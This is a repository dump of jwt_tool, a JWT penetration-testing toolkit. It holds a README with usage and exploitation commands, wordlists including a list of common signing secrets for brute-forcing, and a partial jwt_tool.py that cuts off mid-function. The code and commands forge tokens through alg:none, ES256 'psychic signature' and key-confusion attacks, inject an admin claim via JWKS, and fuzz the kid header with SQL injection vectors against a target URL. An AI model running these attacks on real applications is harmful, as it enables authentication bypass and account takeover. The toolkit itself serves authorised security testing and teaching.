`$ python3 -m pip install -r requirements.txt` 61 | 62 | On first run the tool will generate a config file, some utility files, logfile, and a set of Public and Private keys in various formats. 63 | 64 | ### Custom Configs 65 | * To make best use of the scanning options it is **strongly advised** to copy the custom-generated JWKS file somewhere that can be accessed remotely via a URL. This address should then be stored in `jwtconf.ini` as the "jwkloc" value. 66 | * In order to capture external service interactions - such as DNS lookups and HTTP requests - put your unique address for Burp Collaborator (or other alternative tools such as RequestBin) into the config file as the "httplistener" value. 67 | ***Review the other options in the config file to customise your experience.*** 68 | 69 | ### Colour bug in Windows 70 | To fix broken colours in Windows cmd/Powershell: uncomment the below two lines in `jwt_tool.py` (remove the "# " from the beginning of each line) 71 | You will also need to install colorama: `python3 -m pip install colorama` 72 | ``` 73 | # import colorama 74 | # colorama.init() 75 | ``` 76 | --- 77 | 78 | ## Usage 79 | The first argument should be the JWT itself (*unless providing this in a header or cookie value*). Providing no additional arguments will show you the decoded token values for review. 80 | `$ python3 jwt_tool.py ` 81 | or the Docker base command: 82 | `$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool` 83 | 84 | The toolkit will validate the token and list the header and payload values. 85 | 86 | ### Additional arguments 87 | The many additional arguments will take you straight to the appropriate function and return you a token ready to use in your tests. 88 | For example, to tamper the existing token run the following: 89 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T` 90 | 91 | Many options need additional values to set options. 92 | For example, to run a particular type of exploit you need to choose the eXploit (-X) option and select the vulnerability (here using "a" for the *alg:none* exploit): 93 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a` 94 | 95 | ### Extra parameters 96 | Some options such as Verifying tokens require additional parameters/files to be provided (here providing the Public Key in PEM format): 97 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem` 98 | 99 | ### Sending tokens to a web application 100 | All modes now allow for sending the token directly to an application. 101 | You need to specify: 102 | * target URL (-t) 103 | * instead of a target URL, you can put your HTTP request into a file and reference the file with -r. This AUTOMATICALLY populates headers, cookies and POST data so this is the recommended option 104 | * a request header (-rh) or request cookies (-rc) that are needed by the application (***at least one must contain the token***) 105 | * (optional) any POST data (where the request is a POST) 106 | * (optional) any additional jwt_tool options, such as modes or tampering/injection options 107 | * (optional) a *canary value* (-cv) - a text value you expect to see in a successful use of the token (e.g. "Welcome, ticarpi") 108 | An example request might look like this (using scanning mode for forced-errors): 109 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er` 110 | 111 | Various responses from the request are displayed: 112 | * Response code 113 | * Response size 114 | * Unique request tracking ID (for use with logging) 115 | * Mode/options used 116 | 117 | --- 118 | 119 | ## Common Workflow 120 | 121 | Here is a quick run-through of a basic assessment of a JWT implementation. If no success with these options then dig deeper into other modes and options to hunt for new vulnerabilities (or zero-days!). 122 | 123 | ### Recon: 124 | Read the token value to get a feel for the claims/values expected in the application: 125 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` 126 | 127 | ### Scanning: 128 | Run a ***Playbook Scan*** using the provided token directly against the application to hunt for common misconfigurations: 129 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` 130 | 131 | ### Exploitation: 132 | If any successful vulnerabilities are found change any relevant claims to try to exploit it (here using the *Inject JWKS* exploit and injecting a new username): 133 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` 134 | 135 | ### Fuzzing: 136 | Dig deeper by testing for unexpected values and claims to identify unexpected app behaviours, or run attacks on programming logic or token processing: 137 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` 138 | 139 | ### Review: 140 | Review any successful exploitation by querying the logs to read more data about the request and : 141 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` 142 | 143 | --- 144 | 145 | ### Help 146 | For a list of options call the usage function: 147 | Some options such as Verifying tokens require additional parameters/files to be provided: 148 | `$ python3 jwt_tool.py -h` 149 | 150 | **A more detailed user guide can be found on the [wiki page](https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool).** 151 | 152 | --- 153 | 154 | ## JWT Attack Playbook - new wiki content! 155 | ![playbook_logo](https://user-images.githubusercontent.com/57728093/68797806-21f25700-064d-11ea-9baa-c58fb6f75c0b.png) 156 | 157 | Head over to the [JWT Attack Playbook](https://github.com/ticarpi/jwt_tool/wiki) for a detailed run-though of what JWTs are, what they do, and a full workflow of how to thoroughly test them for vulnerabilities, common weaknesses and unintended coding errors. 158 | 159 | --- 160 | 161 | ## Tips 162 | **Regex for finding JWTs in Burp Search** 163 | *(make sure 'Case sensitive' and 'Regex' options are ticked)* 164 | `[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*` - url-safe JWT version 165 | `[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*` - all JWT versions (higher possibility of false positives) 166 | 167 | --- 168 | 169 | ## Further Reading 170 | * [JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki)](https://github.com/ticarpi/jwt_tool/wiki) - for a thorough JWT testing methodology 171 | 172 | * [A great intro to JWTs - https://jwt.io/introduction/](https://jwt.io/introduction/) 173 | 174 | * A lot of the initial inspiration for this tool comes from the vulnerabilities discovered by Tim McLean. 175 | [Check out his blog on JWT weaknesses here: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 176 | 177 | * A whole bunch of exercises for testing JWT vulnerabilities are provided by [Pentesterlab (https://www.pentesterlab.com)](https://www.pentesterlab.com). I'd highly recommend a PRO subscription if you are interested in Web App Pentesting. 178 | 179 | *PLEASE NOTE:* This toolkit will solve most of the Pentesterlab JWT exercises in a few seconds when used correctly, however I'd **strongly** encourage you to work through these exercises yourself, working out the structure and the weaknesses. After all, it's all about learning... 180 | -------------------------------------------------------------------------------- /common-headers.txt: -------------------------------------------------------------------------------- 1 | typ 2 | jku 3 | kid 4 | x5u 5 | x5t -------------------------------------------------------------------------------- /common-payloads.txt: -------------------------------------------------------------------------------- 1 | iss 2 | sub 3 | aud 4 | exp 5 | nbf 6 | iat 7 | jti 8 | name 9 | given_name 10 | family_name 11 | middle_name 12 | nickname 13 | preferred_username 14 | profile 15 | picture 16 | website 17 | email 18 | email_verified 19 | gender 20 | birthdate 21 | zoneinfo 22 | locale 23 | phone_number 24 | phone_number_verified 25 | address 26 | updated_at 27 | azp 28 | nonce 29 | auth_time 30 | at_hash 31 | c_hash 32 | acr 33 | amr 34 | sub_jwk 35 | cnf 36 | sip_from_tag 37 | sip_date 38 | sip_callid 39 | sip_cseq_num 40 | sip_via_branch 41 | orig 42 | dest 43 | mky 44 | events 45 | toe 46 | txn 47 | rph 48 | sid 49 | vot 50 | vtm 51 | attest 52 | origid 53 | act 54 | scope 55 | client_id 56 | may_act 57 | jcard 58 | at_use_nbr 59 | div 60 | opt -------------------------------------------------------------------------------- /jwks-common.txt: -------------------------------------------------------------------------------- 1 | /oauth2/v1/keys 2 | /jwks.json 3 | /.well-known/jwks.json 4 | /.well-known/jwks_uri 5 | /.well-known/openid-configuration/jwks 6 | /openid/connect/jwks.json -------------------------------------------------------------------------------- /jwt-common.txt: -------------------------------------------------------------------------------- 1 | 2 | ... 3 | [107 105 97 108 105] 4 | ]V@IaC1%fU,DrVI 5 | `mix guardian.gen.secret` 6 | 012345678901234567890123456789XY 7 | 12345 8 | 12345678901234567890123456789012 9 | 3st4-3s-M1-Cl4v3-S3cr3t4 10 | 61306132616264382d363136322d343163332d383364362d316366353539623436616663 11 | 872e4e50ce9990d8b041330c47c9ddd11bec6b503ae9386a99da8584e9bb12c4 12 | 8zUpiGcaPkNhNGi8oyrq 13 | a43cc200a1bd292682598da42daa9fd14589f3d8bf832ffa206be775259ee1ea 14 | AC8d83&21Almnis710sds 15 | banana 16 | bar 17 | c2a4eb068af8abef18d80b1689c7d785 18 | Ch4ng3-m3-1M-n0t-s3cr3t 19 | CL4V3_SUP3R_S3CR3T4_C4TR4L_G4RD3N 20 | client_secret_basic 21 | custom 22 | default-key 23 | example_key 24 | example-hmac-key 25 | fe1a1915a379f3be5394b64d14794932 26 | foobar_template 27 | GQDstcKsx0NHjPOuXOYg5MbeJ1XT0uFiwDVvVBrk 28 | guest 29 | gZH75aKtMN3Yj0iPS4hcgUuTwjAzZr9C 30 | hard!to-guess_secret 31 | has a van 32 | Hello, World! 33 | her key 34 | his key 35 | hmac-secret 36 | hs256-secret 37 | J5hZTw1vtee0PGaoAuaW 38 | jwt 39 | jwt-secret 40 | key 41 | key1 42 | key2 43 | key3 44 | kiali 45 | kkey 46 | mix guardian.gen.secret 47 | my key 48 | My super secret key! 49 | my super secret password 50 | my_temp_secret_key 51 | my_very_long_and_safe_secret_key 52 | my$ecretK3y 53 | mypass 54 | mysecretkey 55 | mysupersecretkey 56 | newSecret 57 | Original secret string 58 | password 59 | R9MyWaEoyiMYViVWo8Fk4TUGWiSoaW6U1nOqXri8_XU 60 | RfxRP43BIKoSQ7P1GfeO 61 | S0M3S3CR3TK3Y 62 | s3cr3t 63 | S3CR3T K3Y 64 | S3cr3t_K#Key 65 | S3cr3t123 66 | S3cr3Tk3Y 67 | season-wiz-react-template 68 | secret 69 | Secret key. You can use `mix guardian.gen.secret` to get one 70 | secret_key 71 | secret_key_here 72 | secret-key 73 | secret123 74 | secretkey 75 | Setec Astronomy 76 | shared_secret 77 | shared-secret 78 | shhhhh 79 | shhhhhhared-secret 80 | SignerTest 81 | some-secret-string 82 | Sup3rS3cr3tk3y 83 | Super Secret Key 84 | super_fancy_secret 85 | super-secret-password 86 | supersecret 87 | supersecretkeytemp 88 | symmetric key 89 | T0pS3cr3tKeY! 90 | temp 91 | temp string 92 | temp string. tolerate this for now pls. 93 | temp_access_token 94 | temp_key 95 | tempkey 96 | template 97 | template,line,count 98 | templateOptions 99 | templates 100 | templateWrappersMap 101 | temple 102 | temporary 103 | temporary secret key 104 | temporary_key 105 | temporary_passkey 106 | temporary_secret 107 | temporary_secret_key 108 | temporary2 109 | tempseckey 110 | tempwhilewaitingtofixwslubuntu 111 | test-key 112 | testing1 113 | Th1s1ss3cr3tdefault_page_template_id 114 | THE_SAME_HMAC_KEY 115 | this is a temp key 116 | ThisIsMySuperSecret 117 | token 118 | too many secrets 119 | top secret 120 | verysecret 121 | wrong-secret 122 | xxx 123 | XYZ 124 | YoUR sUpEr S3krEt 1337 HMAC kEy HeRE 125 | YOUR_HMAC_KEY 126 | your-256-bit-secret 127 | your-384-bit-secret 128 | your-512-bit-secret 129 | your-own-jwt-secret 130 | your-top-secret-key 131 | -------------------------------------------------------------------------------- /jwt_tool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # JWT_Tool version 2.3.0 (01_05_2025) 4 | # Written by Andy Tyler (@ticarpi) 5 | # Please use responsibly... 6 | # Software URL: https://github.com/ticarpi/jwt_tool 7 | # Web: https://www.ticarpi.com 8 | # Twitter: @ticarpi 9 | 10 | jwttoolvers = "2.3.0" 11 | import ssl 12 | import sys 13 | import os 14 | import re 15 | import hashlib 16 | import hmac 17 | import base64 18 | import json 19 | import random 20 | from urllib.parse import urljoin, urlparse 21 | import argparse 22 | from datetime import datetime 23 | import configparser 24 | from http.cookies import SimpleCookie 25 | from collections import OrderedDict 26 | from ratelimit import limits, RateLimitException, sleep_and_retry 27 | 28 | try: 29 | from Cryptodome.Signature import PKCS1_v1_5, DSS, pss 30 | from Cryptodome.Hash import SHA256, SHA384, SHA512 31 | from Cryptodome.PublicKey import RSA, ECC 32 | except: 33 | print("WARNING: Cryptodome libraries not imported - these are needed for asymmetric crypto signing and verifying") 34 | print("On most Linux systems you can run the following command to install:") 35 | print("python3 -m pip install pycryptodomex\n") 36 | exit(1) 37 | try: 38 | from termcolor import cprint 39 | except: 40 | print("WARNING: termcolor library is not imported - this is used to make the output clearer and oh so pretty") 41 | print("On most Linux systems you can run the following command to install:") 42 | print("python3 -m pip install termcolor\n") 43 | exit(1) 44 | try: 45 | import requests 46 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 47 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 48 | except: 49 | print("WARNING: Python Requests libraries not imported - these are needed for external service interaction") 50 | print("On most Linux systems you can run the following command to install:") 51 | print("python3 -m pip install requests\n") 52 | exit(1) 53 | # To fix broken colours in Windows cmd/Powershell: uncomment the below two lines. You will need to install colorama: 'python3 -m pip install colorama' 54 | # import colorama 55 | # colorama.init() 56 | 57 | # CONSTANTS 58 | DEFAULT_RATE_LIMIT = 999999999 59 | DEFAULT_RATE_PERIOD = 60 60 | 61 | def cprintc(textval, colval): 62 | if not args.bare: 63 | cprint(textval, colval) 64 | 65 | def createConfig(): 66 | privKeyName = path+"/jwttool_custom_private_RSA.pem" 67 | pubkeyName = path+"/jwttool_custom_public_RSA.pem" 68 | ecprivKeyName = path+"/jwttool_custom_private_EC.pem" 69 | ecpubkeyName = path+"/jwttool_custom_public_EC.pem" 70 | jwksName = path+"/jwttool_custom_jwks.json" 71 | proxyHost = "127.0.0.1" 72 | config = configparser.ConfigParser(allow_no_value=True) 73 | config.optionxform = str 74 | config['crypto'] = {'pubkey': pubkeyName, 75 | 'privkey': privKeyName, 76 | 'ecpubkey': ecpubkeyName, 77 | 'ecprivkey': ecprivKeyName, 78 | 'jwks': jwksName} 79 | config['customising'] = {'useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool', 80 | 'jwks_kid': 'jwt_tool'} 81 | if (os.path.isfile(privKeyName)) and (os.path.isfile(pubkeyName)) and (os.path.isfile(ecprivKeyName)) and (os.path.isfile(ecpubkeyName)) and (os.path.isfile(jwksName)): 82 | cprintc("Found existing Public and Private Keys - using these...", "cyan") 83 | origjwks = open(jwksName, "r").read() 84 | jwks_b64 = base64.b64encode(origjwks.encode('ascii')) 85 | else: 86 | # gen RSA keypair 87 | pubKey, privKey = newRSAKeyPair() 88 | with open(privKeyName, 'w') as test_priv_out: 89 | test_priv_out.write(privKey.decode()) 90 | with open(pubkeyName, 'w') as test_pub_out: 91 | test_pub_out.write(pubKey.decode()) 92 | # gen EC keypair 93 | ecpubKey, ecprivKey = newECKeyPair() 94 | with open(ecprivKeyName, 'w') as ectest_priv_out: 95 | ectest_priv_out.write(ecprivKey) 96 | with open(ecpubkeyName, 'w') as ectest_pub_out: 97 | ectest_pub_out.write(ecpubKey) 98 | # gen jwks 99 | new_key = RSA.importKey(pubKey) 100 | n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big')) 101 | e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big')) 102 | jwksbuild = buildJWKS(n, e, "jwt_tool") 103 | jwksout = {"keys": []} 104 | jwksout["keys"].append(jwksbuild) 105 | fulljwks = json.dumps(jwksout,separators=(",",":"), indent=4) 106 | with open(jwksName, 'w') as test_jwks_out: 107 | test_jwks_out.write(fulljwks) 108 | jwks_b64 = base64.urlsafe_b64encode(fulljwks.encode('ascii')) 109 | config['services'] = {'jwt_tool_version': jwttoolvers, 110 | '# To disable the proxy option set this value to: False (no quotes). For Docker installations with a Windows host OS set this to: "host.docker.internal:8080"': None, 'proxy': proxyHost+':8080', 111 | '# To disable following redirects set this value to: False (no quotes)': None, 'redir': 'True', 112 | '# Set this to the URL you are hosting your custom JWKS file (jwttool_custom_jwks.json) - your own server, or maybe use this cheeky reflective URL (https://httpbin.org/base64/{base64-encoded_JWKS_here})': None, 113 | 'jwksloc': '', 114 | 'jwksdynamic': 'https://httpbin.org/base64/'+jwks_b64.decode(), 115 | '# Set this to the base URL of a Collaborator server, somewhere you can read live logs, a Request Bin etc.': None, 'httplistener': ''} 116 | config['input'] = {'wordlist': 'jwt-common.txt', 117 | 'commonHeaders': 'common-headers.txt', 118 | 'commonPayloads': 'common-payloads.txt'} 119 | config['argvals'] = {'# Set at runtime - changes here are ignored': None, 120 | 'sigType': '', 121 | 'targetUrl': '', 122 | 'rate': str(DEFAULT_RATE_LIMIT), 123 | 'cookies': '', 124 | 'key': '', 125 | 'keyList': '', 126 | 'keyFile': '', 127 | 'headerLoc': '', 128 | 'payloadclaim': '', 129 | 'headerclaim': '', 130 | 'payloadvalue': '', 131 | 'headervalue': '', 132 | 'canaryvalue': '', 133 | 'header': '', 134 | 'exploitType': '', 135 | 'scanMode': '', 136 | 'reqMode': '', 137 | 'postData': '', 138 | 'resCode': '', 139 | 'resSize': '', 140 | 'resContent': ''} 141 | with open(configFileName, 'w') as configfile: 142 | config.write(configfile) 143 | cprintc("Configuration file built - review contents of \"jwtconf.ini\" to customise your options.", "cyan") 144 | cprintc("Make sure to set the \"httplistener\" value to a URL you can monitor to enable out-of-band checks.", "cyan") 145 | exit(1) 146 | 147 | 148 | @sleep_and_retry 149 | @limits(calls=DEFAULT_RATE_LIMIT, period=DEFAULT_RATE_PERIOD) 150 | def sendToken(token, cookiedict, track, headertoken="", postdata=None): 151 | if not postdata: 152 | postdata = config['argvals']['postData'] 153 | url = config['argvals']['targetUrl'] 154 | headers = {'User-agent': config['customising']['useragent']+" "+track} 155 | if headertoken: 156 | for eachHeader in headertoken: 157 | headerName, headerVal = eachHeader.split(":",1) 158 | headers[headerName] = headerVal.lstrip(" ") 159 | try: 160 | if config['services']['redir'] == "True": 161 | redirBool = True 162 | else: 163 | redirBool = False 164 | if config['services']['proxy'] == "False": 165 | if postdata: 166 | response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool) 167 | else: 168 | response = requests.get(url, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool) 169 | else: 170 | proxies = {'http': 'http://'+config['services']['proxy'], 'https': 'http://'+config['services']['proxy']} 171 | if postdata: 172 | response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool) 173 | else: 174 | response = requests.get(url, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool) 175 | if int(response.elapsed.total_seconds()) >= 9: 176 | cprintc("HTTP response took about 10 seconds or more - could be a sign of a bug or vulnerability", "cyan") 177 | return [response.status_code, len(response.content), response.content] 178 | except requests.exceptions.ProxyError as err: 179 | cprintc("[ERROR] ProxyError - check proxy is up and not set to tamper with requests\n(If proxy is not needed disable this with -np on the commandline.)\n"+str(err), "red") 180 | exit(1) 181 | 182 | def parse_dict_cookies(value): 183 | cookiedict = {} 184 | for item in value.split(';'): 185 | item = item.strip() 186 | if not item: 187 | continue 188 | if '=' not in item: 189 | cookiedict[item] = None 190 | continue 191 | name, value = item.split('=', 1) 192 | cookiedict[name] = value 193 | return cookiedict 194 | 195 | def strip_dict_cookies(value): 196 | cookiestring = "" 197 | for item in value.split(';'): 198 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', item): 199 | continue 200 | else: 201 | cookiestring += "; "+item 202 | cookiestring = cookiestring.lstrip("; ") 203 | return cookiestring 204 | 205 | def jwtOut(token, fromMod, desc=""): 206 | genTime = datetime.now().strftime('%Y-%m-%d %H:%M:%S') 207 | idFrag = genTime+str(token) 208 | logID = "jwttool_"+hashlib.md5(idFrag.encode()).hexdigest() 209 | if config['argvals']['targetUrl'] != "": 210 | curTargetUrl = config['argvals']['targetUrl'] 211 | p = re.compile(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*') 212 | 213 | if config['argvals']['headerloc'] == "cookies": 214 | cookietoken = p.subn(token, config['argvals']['cookies'], 0) 215 | else: 216 | cookietoken = [config['argvals']['cookies'],0] 217 | 218 | if config['argvals']['headerloc'] == "headers": 219 | headertoken = [[],0] 220 | for eachHeader in args.headers: 221 | try: 222 | headerSub = p.subn(token, eachHeader, 0) 223 | headertoken[0].append(headerSub[0]) 224 | if headerSub[1] == 1: 225 | headertoken[1] = 1 226 | except: 227 | pass 228 | else: 229 | headertoken = [[],0] 230 | if args.headers: 231 | for eachHeader in args.headers: 232 | headertoken[0].append(eachHeader) 233 | 234 | if config['argvals']['headerloc'] == "postdata": 235 | posttoken = p.subn(token, config['argvals']['postdata'], 0) 236 | else: 237 | posttoken = [config['argvals']['postdata'],0] 238 | 239 | 240 | try: 241 | cookiedict = parse_dict_cookies(cookietoken[0]) 242 | except: 243 | cookiedict = {} 244 | 245 | 246 | 247 | # Check if token was included in substitution 248 | if cookietoken[1] == 1 or headertoken[1] == 1 or posttoken[1]: 249 | resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0]) 250 | else: 251 | if config['argvals']['overridesub'] == "true": 252 | resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0]) 253 | else: 254 | cprintc("[-] No substitution occurred - check that a token is included in a cookie/header in the request", "red") 255 | # cprintc(headertoken, cookietoken, "cyan") 256 | exit(1) 257 | if config['argvals']['canaryvalue']: 258 | if config['argvals']['canaryvalue'] in str(resData[2]): 259 | cprintc("[+] FOUND \""+config['argvals']['canaryvalue']+"\" in response:\n"+logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green") 260 | else: 261 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan") 262 | else: 263 | if 200 <= resData[0] < 300: 264 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green") 265 | elif 300 <= resData[0] < 400: 266 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan") 267 | elif 400 <= resData[0] < 600: 268 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "red") 269 | else: 270 | if desc != "": 271 | cprintc(logID+" - "+desc, "cyan") 272 | if not args.bare: 273 | cprintc("[+] "+token, "green") 274 | else: 275 | print(token) 276 | curTargetUrl = "Not sent" 277 | additional = "[Commandline request: "+' '.join(sys.argv[0:])+']' 278 | setLog(token, genTime, logID, fromMod, curTargetUrl, additional) 279 | try: 280 | config['argvals']['rescode'],config['argvals']['ressize'],config['argvals']['rescontent'] = str(resData[0]),str(resData[1]),str(resData[2]) 281 | except: 282 | pass 283 | 284 | def setLog(jwt, genTime, logID, modulename, targetURL, additional): 285 | logLine = genTime+" | "+modulename+" | "+targetURL+" | "+additional 286 | with open(logFilename, 'a') as logFile: 287 | logFile.write(logID+" - "+logLine+" - "+jwt+"\n") 288 | return logID 289 | 290 | def buildHead(alg, headDict): 291 | newHead = headDict 292 | newHead["alg"] = alg 293 | newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":")).encode()).decode('UTF-8').strip("=") 294 | return newHead 295 | 296 | def checkNullSig(contents): 297 | jwtNull = contents.decode()+"." 298 | return jwtNull 299 | 300 | def checkPsySig(headDict, paylB64): 301 | newHead = buildHead('ES256', headDict) 302 | jwtPsy = newHead+"."+paylB64+".MAYCAQACAQA" 303 | return jwtPsy 304 | 305 | def checkAlgNone(headDict, paylB64): 306 | alg1 = "none" 307 | newHead1 = buildHead(alg1, headDict) 308 | CVEToken0 = newHead1+"."+paylB64+"." 309 | alg = "None" 310 | newHead = buildHead(alg, headDict) 311 | CVEToken1 = newHead+"."+paylB64+"." 312 | alg = "NONE" 313 | newHead = buildHead(alg, headDict) 314 | CVEToken2 = newHead+"."+paylB64+"." 315 | alg = "nOnE" 316 | newHead = buildHead(alg, headDict) 317 | CVEToken3 = newHead+"."+paylB64+"." 318 | return [CVEToken0, CVEToken1, CVEToken2, CVEToken3] 319 | 320 | def checkPubKeyExploit(headDict, paylB64, pubKey): 321 | try: 322 | key = open(pubKey).read() 323 | cprintc("File loaded: "+pubKey, "cyan") 324 | except: 325 | cprintc("[-] File not found", "red") 326 | exit(1) 327 | newHead = headDict 328 | newHead["alg"] = "HS256" 329 | newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") 330 | newTok = newHead+"."+paylB64 331 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newTok.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=") 332 | return newTok, newSig 333 | 334 | def injectpayloadclaim(payloadclaim, injectionvalue): 335 | newpaylDict = paylDict 336 | newpaylDict[payloadclaim] = castInput(injectionvalue) 337 | newPaylB64 = base64.urlsafe_b64encode(json.dumps(newpaylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") 338 | return newpaylDict, newPaylB64 339 | 340 | def injectheaderclaim(headerclaim, injectionvalue): 341 | newheadDict = headDict 342 | newheadDict[headerclaim] = castInput(injectionvalue) 343 | newHeadB64 = base64.urlsafe_b64encode(json.dumps(newheadDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") 344 | return newheadDict, newHeadB64 345 | 346 | def tamperToken(paylDict, headDict, sig): 347 | cprintc("\n====================================================================\nThis option allows you to tamper with the header, contents and \nsignature of the JWT.\n====================================================================", "white") 348 | cprintc("\nToken header values:", "white") 349 | while True: 350 | i = 0 351 | headList = [0] 352 | for pair in headDict: 353 | menuNum = i+1 354 | if isinstance(headDict[pair], dict): 355 | cprintc("["+str(menuNum)+"] "+pair+" = JSON object:", "green") 356 | for subclaim in headDict[pair]: 357 | cprintc(" [+] "+subclaim+" = "+str(headDict[pair][subclaim]), "green") 358 | else: 359 | if type(headDict[pair]) == str: 360 | cprintc("["+str(menuNum)+"] "+pair+" = \""+str(headDict[pair])+"\"", "green") 361 | else: 362 | cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "green") 363 | headList.append(pair) 364 | i += 1 365 | cprintc("["+str(i+1)+"] *ADD A VALUE*", "white") 366 | cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white") 367 | cprintc("[0] Continue to next step", "white") 368 | selection = "" 369 | cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white") 370 | try: 371 | selection = int(input("> ")) 372 | except: 373 | cprintc("Invalid selection", "red") 374 | exit(1) 375 | if selection0: 376 | if isinstance(headDict[headList[selection]], dict): 377 | cprintc("\nPlease select a sub-field number for the "+pair+" claim:\n(or 0 to Continue)", "white") 378 | newVal = OrderedDict() 379 | for subclaim in headDict[headList[selection]]: 380 | newVal[subclaim] = headDict[pair][subclaim] 381 | newVal = buildSubclaim(newVal, headList, selection) 382 | headDict[headList[selection]] = newVal 383 | else: 384 | cprintc("\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]]), "white") 385 | cprintc("Please enter new value and hit ENTER", "white") 386 | newVal = input("> ") 387 | headDict[headList[selection]] = castInput(newVal) 388 | elif selection == i+1: 389 | cprintc("Please enter new Key and hit ENTER", "white") 390 | newPair = input("> ") 391 | cprintc("Please enter new value for "+newPair+" and hit ENTER", "white") 392 | newInput = input("> ") 393 | headList.append(newPair) 394 | headDict[headList[selection]] = castInput(newInput) 395 | elif selection == i+2: 396 | cprintc("Please select a Key to DELETE and hit ENTER", "white") 397 | i = 0 398 | for pair in headDict: 399 | menuNum = i+1 400 | cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "white") 401 | headList.append(pair) 402 | i += 1 403 | try: 404 | delPair = int(input("> ")) 405 | except: 406 | cprintc("Invalid selection", "red") 407 | exit(1) 408 | del headDict[headList[delPair]] 409 | elif selection == 0: 410 | break 411 | else: 412 | exit(1) 413 | cprintc("\nToken payload values:", "white") 414 | while True: 415 | comparestamps, expiredtoken = dissectPayl(paylDict, count=True) 416 | i = 0 417 | paylList = [0] 418 | for pair in paylDict: 419 | menuNum = i+1 420 | 